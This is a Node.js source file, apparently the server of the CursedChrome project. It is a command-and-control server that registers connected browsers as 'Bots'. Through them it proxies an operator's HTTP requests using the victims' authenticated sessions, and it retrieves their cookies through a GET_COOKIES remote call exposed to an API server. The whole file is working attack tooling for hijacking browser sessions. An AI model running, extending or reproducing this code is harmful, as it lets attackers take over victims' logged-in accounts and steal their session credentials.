mirror of
https://github.com/mandatoryprogrammer/CursedChrome
synced 2026-06-08 15:39:30 +00:00
655 lines
21 KiB
JavaScript
655 lines
21 KiB
JavaScript
const NodeCache = require("node-cache");
|
|
const AnyProxy = require('./anyproxy');
|
|
const cluster = require('cluster');
|
|
const WebSocket = require('ws');
|
|
const https = require('https');
|
|
const redis = require("redis");
|
|
const http = require('http');
|
|
const uuid = require('uuid');
|
|
const util = require('util');
|
|
const fs = require('fs');
|
|
|
|
const database = require('./database.js');
|
|
const database_init = database.database_init;
|
|
const Users = database.Users;
|
|
const Bots = database.Bots;
|
|
const sequelize = database.sequelize;
|
|
const Sequelize = require('sequelize');
|
|
const Op = Sequelize.Op;
|
|
|
|
const get_secure_random_string = require('./utils.js').get_secure_random_string;
|
|
const logit = require('./utils.js').logit;
|
|
|
|
const get_api_server = require('./api-server.js').get_api_server;
|
|
|
|
const numCPUs = require('os').cpus().length;
|
|
|
|
/*
|
|
TODO: We need to have a garbage collector for subscriptions
|
|
to the `TOPROXY_{{browser_id}}` topics in redis. Likely just
|
|
having a timeout since last request received would be reasonable
|
|
enough.
|
|
*/
|
|
|
|
const PROXY_PORT = process.env.PROXY_PORT || 8080;
|
|
const WS_PORT = process.env.WS_PORT || 4343;
|
|
const API_SERVER_PORT = process.env.API_SERVER_PORT || 8118;
|
|
const SERVER_VERSION = '1.0.1';
|
|
|
|
const RPC_CALL_TABLE = {
|
|
'PING': ping,
|
|
}
|
|
|
|
const REQUEST_TABLE = new NodeCache({
|
|
'stdTTL': 30, // Default second(s) till the entry is removed.
|
|
'checkperiod': 5, // How often table is checked and cleaned up.
|
|
'useClones': false, // Whether to clone JavaScript variables stored here.
|
|
});
|
|
|
|
async function ping(websocket_connection, params) {
|
|
|
|
|
|
// Update bot as online
|
|
const bot = await Bots.findOne({
|
|
where: {
|
|
browser_id: websocket_connection.browser_id
|
|
}
|
|
});
|
|
|
|
if (!bot) {
|
|
websocket_connection.send(
|
|
JSON.stringify({
|
|
'id': uuid.v4(),
|
|
'version': SERVER_VERSION,
|
|
'action': 'RESET',
|
|
'data': {}
|
|
})
|
|
)
|
|
return
|
|
}
|
|
|
|
await bot.update({
|
|
is_online: true,
|
|
});
|
|
|
|
// Send PONG message back
|
|
websocket_connection.send(
|
|
JSON.stringify({
|
|
'id': uuid.v4(),
|
|
'version': SERVER_VERSION,
|
|
'action': 'PONG',
|
|
'data': {}
|
|
})
|
|
)
|
|
}
|
|
|
|
function get_browser_proxy(input_browser_id) {
|
|
for (var it = wss.clients.values(), val = null; current_ws_client = it.next().value;) {
|
|
if (current_ws_client.browser_id === input_browser_id) {
|
|
return current_ws_client;
|
|
}
|
|
}
|
|
|
|
throw 'No browser found that matches those credentials!';
|
|
return false;
|
|
}
|
|
|
|
function authenticate_client(websocket_connection) {
|
|
return new Promise(function (resolve, reject) {
|
|
// For timeout, will reject if no response in 30 seconds.
|
|
setTimeout(function () {
|
|
reject(`A timeout occurred when authenticating WebSocket client.`);
|
|
}, (30 * 1000));
|
|
|
|
const message_id = uuid.v4();
|
|
|
|
const auth_rpc_message = {
|
|
'id': message_id,
|
|
'version': '1.0.0',
|
|
'action': 'AUTH',
|
|
'data': {}
|
|
}
|
|
|
|
// Add promise resolve to message table
|
|
// that way the promise is resolved when
|
|
// we get a response for our HTTP request
|
|
// RPC message.
|
|
REQUEST_TABLE.set(
|
|
message_id,
|
|
resolve
|
|
);
|
|
|
|
// Send auth RPC message
|
|
websocket_connection.send(JSON.stringify(auth_rpc_message));
|
|
});
|
|
}
|
|
|
|
function get_browser_cookie_array(browser_id) {
|
|
return new Promise(function (resolve, reject) {
|
|
// For timeout, will reject if no response in 30 seconds.
|
|
setTimeout(function () {
|
|
reject(`Get cookies RPC called timed out.`);
|
|
}, (30 * 1000));
|
|
|
|
const message_id = uuid.v4();
|
|
|
|
var message = {
|
|
'id': message_id,
|
|
'version': SERVER_VERSION,
|
|
'action': 'GET_COOKIES',
|
|
'data': {}
|
|
}
|
|
|
|
// Add promise resolve to message table
|
|
// that way the promise is resolved when
|
|
// we get a response for our HTTP request
|
|
// RPC message.
|
|
REQUEST_TABLE.set(
|
|
message_id,
|
|
resolve
|
|
)
|
|
|
|
// Subscribe to the proxy redis topic to get the
|
|
// response when it comes
|
|
const subscription_id = `TOPROXY_${browser_id}`;
|
|
subscriber.subscribe(subscription_id);
|
|
|
|
// Send the HTTP request RPC message to the browser
|
|
publisher.publish(
|
|
`TOBROWSER_${browser_id}`,
|
|
JSON.stringify(
|
|
message
|
|
)
|
|
);
|
|
});
|
|
}
|
|
|
|
function send_request_via_browser(browser_id, authenticated, url, method, headers, body) {
|
|
return new Promise(function (resolve, reject) {
|
|
// For timeout, will reject if no response in 30 seconds.
|
|
setTimeout(function () {
|
|
reject(`Request Timed Out for URL ${url}!`);
|
|
}, (30 * 1000));
|
|
|
|
const message_id = uuid.v4();
|
|
|
|
var message = {
|
|
'id': message_id,
|
|
'version': SERVER_VERSION,
|
|
'action': 'HTTP_REQUEST',
|
|
'data': {
|
|
'url': url,
|
|
'method': method,
|
|
'headers': headers,
|
|
'body': body,
|
|
'authenticated': authenticated
|
|
}
|
|
}
|
|
|
|
// Add promise resolve to message table
|
|
// that way the promise is resolved when
|
|
// we get a response for our HTTP request
|
|
// RPC message.
|
|
REQUEST_TABLE.set(
|
|
message_id,
|
|
resolve
|
|
)
|
|
|
|
// Subscribe to the proxy redis topic to get the
|
|
// response when it comes
|
|
const subscription_id = `TOPROXY_${browser_id}`;
|
|
subscriber.subscribe(subscription_id);
|
|
|
|
// Send the HTTP request RPC message to the browser
|
|
publisher.publish(
|
|
`TOBROWSER_${browser_id}`,
|
|
JSON.stringify(
|
|
message
|
|
)
|
|
);
|
|
});
|
|
}
|
|
|
|
function caseinsen_get_value_by_key(input_object, input_key) {
|
|
const object_keys = Object.keys(input_object);
|
|
var matching_value = undefined;
|
|
|
|
object_keys.map(object_key => {
|
|
if (object_key.toLowerCase() === input_key.toLowerCase()) {
|
|
matching_value = input_object[object_key];
|
|
}
|
|
});
|
|
|
|
return matching_value;
|
|
}
|
|
|
|
const AUTHENTICATION_REQUIRED_PROXY_RESPONSE = {
|
|
response: {
|
|
statusCode: 407,
|
|
header: {
|
|
'Proxy-Authenticate': 'Basic realm="Please provide your credentials."'
|
|
},
|
|
body: 'Provide credentials.'
|
|
}
|
|
};
|
|
|
|
async function get_authentication_status(inputRequestDetail) {
|
|
const proxy_authentication = caseinsen_get_value_by_key(
|
|
inputRequestDetail,
|
|
'Proxy-Authorization'
|
|
);
|
|
|
|
if (!proxy_authentication || !(proxy_authentication.includes('Basic'))) {
|
|
logit(`No proxy credentials provided!`);
|
|
console.log(proxy_authentication);
|
|
return false;
|
|
}
|
|
|
|
const proxy_auth_string = (
|
|
new Buffer(
|
|
proxy_authentication.replace(
|
|
'Basic ',
|
|
''
|
|
).trim(),
|
|
'base64'
|
|
)
|
|
).toString();
|
|
|
|
const proxy_auth_string_parts = proxy_auth_string.split(':');
|
|
const username = proxy_auth_string_parts[0];
|
|
const password = proxy_auth_string_parts[1];
|
|
|
|
const memory_cache_key = `${username}:${password}`;
|
|
|
|
// If we already have this cached we can stop here.
|
|
const credential_data_string = await getAsync(memory_cache_key);
|
|
|
|
if (credential_data_string) {
|
|
const cached_record = JSON.parse(credential_data_string);
|
|
return {
|
|
'id': cached_record.id,
|
|
'browser_id': cached_record.browser_id,
|
|
'is_authenticated': cached_record.is_authenticated,
|
|
'name': cached_record.name,
|
|
};
|
|
}
|
|
|
|
// Kick both queries off at the same time for slightly improved speed.
|
|
var browserproxy_record = await Bots.findOne({
|
|
where: {
|
|
proxy_username: username,
|
|
proxy_password: password
|
|
}
|
|
});
|
|
|
|
if (!browserproxy_record) {
|
|
logit(`Invalid credentials for username '${username}'!`);
|
|
return false;
|
|
}
|
|
|
|
// No need to wait for this to resolve
|
|
await setexAsync(
|
|
memory_cache_key,
|
|
(60 * 10),
|
|
JSON.stringify(browserproxy_record),
|
|
);
|
|
|
|
return {
|
|
'id': browserproxy_record.id,
|
|
'browser_id': browserproxy_record.browser_id,
|
|
'is_authenticated': browserproxy_record.is_authenticated,
|
|
'name': browserproxy_record.name,
|
|
};
|
|
}
|
|
|
|
const options = {
|
|
port: PROXY_PORT,
|
|
rule: {
|
|
async beforeSendRequest(requestDetail) {
|
|
const remote_address = requestDetail._req.connection.remoteAddress;
|
|
|
|
const auth_details = await get_authentication_status(requestDetail.requestOptions.headers);
|
|
|
|
if (!auth_details) {
|
|
logit(`[${remote_address}] Request denied for URL ${requestDetail.url}, no authentication information provided in proxy HTTP request!`);
|
|
return AUTHENTICATION_REQUIRED_PROXY_RESPONSE;
|
|
}
|
|
|
|
// Send base64-encoded body if there's any data to
|
|
// send, otherwise set it to false.
|
|
const body = (
|
|
requestDetail.requestData.length > 0
|
|
) ? requestDetail.requestData.toString('base64') : false;
|
|
|
|
logit(`[${auth_details.id}][${auth_details.name}] Proxying request ${requestDetail._req.method} ${requestDetail.url}`);
|
|
const response = await send_request_via_browser(
|
|
auth_details.browser_id,
|
|
true,
|
|
requestDetail.url,
|
|
requestDetail.requestOptions.method,
|
|
requestDetail.requestOptions.headers,
|
|
body
|
|
);
|
|
|
|
// For connection errors
|
|
if (!response) {
|
|
logit(`[${auth_details.id}][${auth_details.name}] A connection error occurred while requesting ${requestDetail._req.method} ${requestDetail.url}`);
|
|
return {
|
|
response: {
|
|
statusCode: 503,
|
|
header: {
|
|
'Content-Type': 'text/plain',
|
|
'X-Frame-Options': 'DENY'
|
|
},
|
|
body: (new Buffer(`CursedChrome encountered an error while requesting the page.`))
|
|
}
|
|
};
|
|
}
|
|
|
|
logit(`[${auth_details.id}][${auth_details.name}] Got response ${response.status} ${requestDetail.url}`);
|
|
|
|
let encoded_body_buffer = new Buffer(response.body, 'base64');
|
|
let decoded_body = encoded_body_buffer.toString('ascii');
|
|
|
|
if ('content-encoding' in response.headers) {
|
|
delete response.headers['content-encoding'];
|
|
}
|
|
|
|
return {
|
|
response: {
|
|
statusCode: response.status,
|
|
header: response.headers,
|
|
body: encoded_body_buffer
|
|
}
|
|
};
|
|
},
|
|
},
|
|
webInterface: {
|
|
enable: false,
|
|
webPort: 8002
|
|
},
|
|
//throttle: 10000,
|
|
forceProxyHttps: true,
|
|
wsIntercept: false,
|
|
silent: !(process.env.DEBUGGING === "yes")
|
|
};
|
|
|
|
async function initialize_new_browser_connection(ws) {
|
|
logit(`Authenticating newly-connected browser...`);
|
|
|
|
// Authenticate the newly-connected client.
|
|
const auth_result = await authenticate_client(ws);
|
|
|
|
const browser_id = auth_result.browser_id;
|
|
const user_agent = auth_result.user_agent;
|
|
|
|
// Set the browser ID on the WebSocket connection object
|
|
ws.browser_id = browser_id;
|
|
|
|
// Set up a subscription in redis for when we get a new
|
|
// HTTP proxy request that we need to send to the browser
|
|
// connected to use via WebSocket.
|
|
subscriber.subscribe(`TOBROWSER_${browser_id}`);
|
|
|
|
// Check the database to see if we already have this browser
|
|
// Recorded in the DB.
|
|
var browserproxy_record = await Bots.findOne({
|
|
where: {
|
|
browser_id: browser_id
|
|
}
|
|
});
|
|
|
|
if (browserproxy_record === null) {
|
|
/*
|
|
If the browser has no Bots in the database then we'll
|
|
create a default one which is authenticated and unscoped.
|
|
|
|
This is to make the user's first use experience much easier so
|
|
they can easily try out the functionality.
|
|
*/
|
|
logit(`Browser ID ${browser_id} is not already registered. Creating new credentials for it...`);
|
|
|
|
const new_username = `botuser${get_secure_random_string(8)}`;
|
|
const new_password = get_secure_random_string(18);
|
|
|
|
const new_browserproxy = await Bots.create({
|
|
'id': uuid.v4(),
|
|
'name': 'Untitled Bot',
|
|
'browser_id': browser_id,
|
|
'proxy_username': new_username,
|
|
'proxy_password': new_password,
|
|
'is_authenticated': true,
|
|
'is_online': true,
|
|
'user_agent': user_agent
|
|
});
|
|
} else {
|
|
// Update all browserproxy records to reflect that all these proxies are
|
|
// now online.
|
|
browserproxy_record.is_online = true;
|
|
browserproxy_record.user_agent = user_agent;
|
|
await browserproxy_record.save();
|
|
}
|
|
}
|
|
|
|
function heartbeat() {
|
|
this.isAlive = true;
|
|
}
|
|
|
|
var wss = undefined;
|
|
var proxyServer = undefined;
|
|
var redis_client = undefined;
|
|
var subscriber = undefined;
|
|
var publisher = undefined;
|
|
|
|
async function initialize() {
|
|
// Used for distributing the TCP connection workload across
|
|
// multiple servers which use one redis instance as the core
|
|
// pubsub system.
|
|
redis_client = redis.createClient({
|
|
"host": process.env.REDIS_HOST,
|
|
});
|
|
redis_client.on("error", function (error) {
|
|
logit(`Redis client encountered an error:`);
|
|
console.error(error);
|
|
});
|
|
subscriber = redis.createClient({
|
|
"host": process.env.REDIS_HOST,
|
|
});
|
|
publisher = redis.createClient({
|
|
"host": process.env.REDIS_HOST,
|
|
});
|
|
|
|
// Promisify Node redis calls, these are intentionally global
|
|
getAsync = util.promisify(redis_client.get).bind(redis_client);
|
|
setexAsync = util.promisify(redis_client.setex).bind(redis_client);
|
|
delAsync = util.promisify(redis_client.del).bind(redis_client);
|
|
|
|
// Called when a new redis subscription is added
|
|
subscriber.on("subscribe", function (channel, count) {
|
|
//logit(`New subscription created for channel ${channel}, bring total to ${count}.`);
|
|
});
|
|
|
|
// Called when a new message is written to a channel
|
|
subscriber.on("message", function (channel, message) {
|
|
//logit(`Received a new message at channel '${channel}', message is '${message}'`);
|
|
|
|
// For messages being sent to the browser from the proxy
|
|
if (channel.startsWith('TOBROWSER_')) {
|
|
const browser_id = channel.replace('TOBROWSER_', '');
|
|
const browser_websocket = get_browser_proxy(browser_id);
|
|
browser_websocket.send(message);
|
|
return
|
|
}
|
|
|
|
// For messages being sent back to the proxy from the browser
|
|
if (channel.startsWith('TOPROXY_')) {
|
|
const browser_id = channel.replace('TOPROXY_', '');
|
|
|
|
try {
|
|
var inbound_message = JSON.parse(
|
|
message
|
|
);
|
|
} catch (e) {
|
|
logit(`Error parsing message received from browser:`);
|
|
logit(`Message: ${message}`);
|
|
logit(`Exception: ${e}`);
|
|
}
|
|
|
|
// Check if it's an action we recognize.
|
|
if (inbound_message.action in RPC_CALL_TABLE) {
|
|
RPC_CALL_TABLE[inbound_message.action](browser_id, inbound_message.data);
|
|
return
|
|
}
|
|
|
|
// Check if we're tracking this response
|
|
if (REQUEST_TABLE.has(inbound_message.id)) {
|
|
//logit(`Resolving function for message ID ${inbound_message.id}...`);
|
|
const resolve = REQUEST_TABLE.take(inbound_message.id);
|
|
resolve(inbound_message.result);
|
|
}
|
|
return
|
|
}
|
|
});
|
|
|
|
// Build HTTP server first and pass to WS server
|
|
// This is a forward-looking change so versioning doesn't
|
|
// become a clusterfuck with addon tools for the server.
|
|
const http_server = http.createServer(function (req, res) {
|
|
res.writeHead(200, {
|
|
'Content-Type': 'text/plain',
|
|
'CC-Server-Version': SERVER_VERSION,
|
|
});
|
|
res.write('');
|
|
res.end();
|
|
}).listen(WS_PORT);
|
|
|
|
wss = new WebSocket.Server({
|
|
server: http_server
|
|
// port: WS_PORT
|
|
});
|
|
|
|
wss.on('connection', async function connection(ws) {
|
|
logit(`A new browser has connected to us via WebSocket!`);
|
|
|
|
ws.isAlive = true;
|
|
|
|
ws.on('close', async () => {
|
|
// Only do this if there's a valid browser ID for
|
|
// the WebSocket which has died.
|
|
if (ws.browser_id) {
|
|
logit(`WebSocket browser ${ws.browser_id} has disconnected.`);
|
|
|
|
// Unsubscribe from the browser topic since we can no longer send
|
|
// any messages to the browser anymore
|
|
subscriber.unsubscribe(`TOBROWSER_${ws.browser_id}`);
|
|
|
|
// Update browserproxy record to reflect being offline
|
|
var browserproxy_record = await Bots.findOne({
|
|
where: {
|
|
browser_id: ws.browser_id
|
|
}
|
|
});
|
|
browserproxy_record.is_online = false;
|
|
await browserproxy_record.save();
|
|
} else {
|
|
logit(`Unauthenticated WebSocket has disconnected from us.`);
|
|
}
|
|
});
|
|
|
|
ws.on('pong', heartbeat);
|
|
|
|
ws.on('message', function incoming(message) {
|
|
try {
|
|
var inbound_message = JSON.parse(
|
|
message
|
|
);
|
|
} catch (e) {
|
|
logit(`Error parsing message received from browser:`);
|
|
logit(`Message: ${message}`);
|
|
logit(`Exception: ${e}`);
|
|
}
|
|
|
|
// As a special case, if this is the result
|
|
// from an authentication request, we'll process it.
|
|
if (inbound_message.origin_action === 'AUTH') {
|
|
// Check if we're tracking this response
|
|
if (REQUEST_TABLE.has(inbound_message.id)) {
|
|
//logit(`Resolving function for message ID ${inbound_message.id}...`)
|
|
const resolve = REQUEST_TABLE.take(inbound_message.id);
|
|
resolve(inbound_message.result);
|
|
}
|
|
return
|
|
} else if (inbound_message.action === 'PING') {
|
|
ping(ws);
|
|
} else if (ws.browser_id) {
|
|
// Write to redis proxy topic with the response from the
|
|
// websocket connection.
|
|
publisher.publish(`TOPROXY_${ws.browser_id}`, message);
|
|
} else {
|
|
logit(`Wat, this shouldn't happen? Orphaned message (somebody might be probing you!):`);
|
|
logit(message);
|
|
}
|
|
});
|
|
|
|
await initialize_new_browser_connection(ws);
|
|
});
|
|
|
|
wss.on('ready', () => {
|
|
logit(`CursedChrome WebSocket server is now running on port ${WS_PORT}.`)
|
|
});
|
|
|
|
proxyServer = new AnyProxy.ProxyServer(options);
|
|
|
|
proxyServer.on('ready', () => {
|
|
logit(`CursedChrome HTTP Proxy server is now running on port ${PROXY_PORT}.`)
|
|
});
|
|
|
|
proxyServer.on('error', (e) => {
|
|
logit(`CursedChrome HTTP Proxy server encountered an unexpected error:`);
|
|
console.error(e);
|
|
});
|
|
|
|
logit(`Starting the WebSocket server...`);
|
|
|
|
logit(`Starting the HTTP proxy server...`)
|
|
proxyServer.start();
|
|
|
|
logit(`Starting API server...`);
|
|
|
|
const proxy_utils = {
|
|
'get_browser_cookie_array': get_browser_cookie_array
|
|
};
|
|
|
|
// Start the API server
|
|
const api_server = await get_api_server(proxy_utils);
|
|
|
|
api_server.listen(API_SERVER_PORT, () => {
|
|
logit(`CursedChrome API server is now listening on port ${API_SERVER_PORT}`);
|
|
});
|
|
}
|
|
|
|
(async () => {
|
|
// If we're the master process spin up workers
|
|
// If we're the worker processes, get to work!
|
|
if (cluster.isMaster) {
|
|
logit(`Master ${process.pid} is running`);
|
|
|
|
logit(`Initializing the database connection...`);
|
|
await database_init();
|
|
|
|
// Fork workers.
|
|
for (let i = 0; i < numCPUs; i++) {
|
|
cluster.fork();
|
|
}
|
|
|
|
cluster.on('exit', (worker, code, signal) => {
|
|
logit(`worker ${worker.process.pid} died`);
|
|
});
|
|
} else {
|
|
// Start worker
|
|
initialize();
|
|
logit(`Worker ${process.pid} started`);
|
|
}
|
|
})();
|
|
|